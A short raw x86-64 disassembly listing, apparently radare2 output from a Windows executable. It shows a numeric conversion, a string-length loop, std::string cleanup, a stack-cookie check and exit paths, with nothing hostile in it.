mulsd xmm6, qword [0x1400663a0]
xorps xmm0, xmm0
test rdx, rdx
js 0x140006050
cvtsi2sd xmm0, rdx
jmp 0x140006065
mov rax, rdx
shr rax, 1
and edx, 1
or rax, rdx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
addsd xmm6, xmm0
lea rax, [rsp + 0x180]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140006080
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x120]
call fcn.14000b210
cvttsd2si ebx, xmm6
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x1400060e2
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000614c
call fcn.14002a430
cmp ebx, 1
jle 0x140006157
lea rcx, [rsp + 0x20]
call fcn.140025d50
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.14002a410
movaps xmm6, xmmword [rsp + 0x290]
add rsp, 0x2a0
pop rbx
ret
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x140006157
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006152
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006152
call fcn.1400385e8
int3
call fcn.14002a430
call fcn.1400061a0
call fcn.140005e80
mov ecx, 1
call fcn.140030d14
int3
call fcn.140026370
call fcn.140005e80
call fcn.1400061a0
mov ecx, 1
call fcn.140030d14
int3
jmp 0x140005f60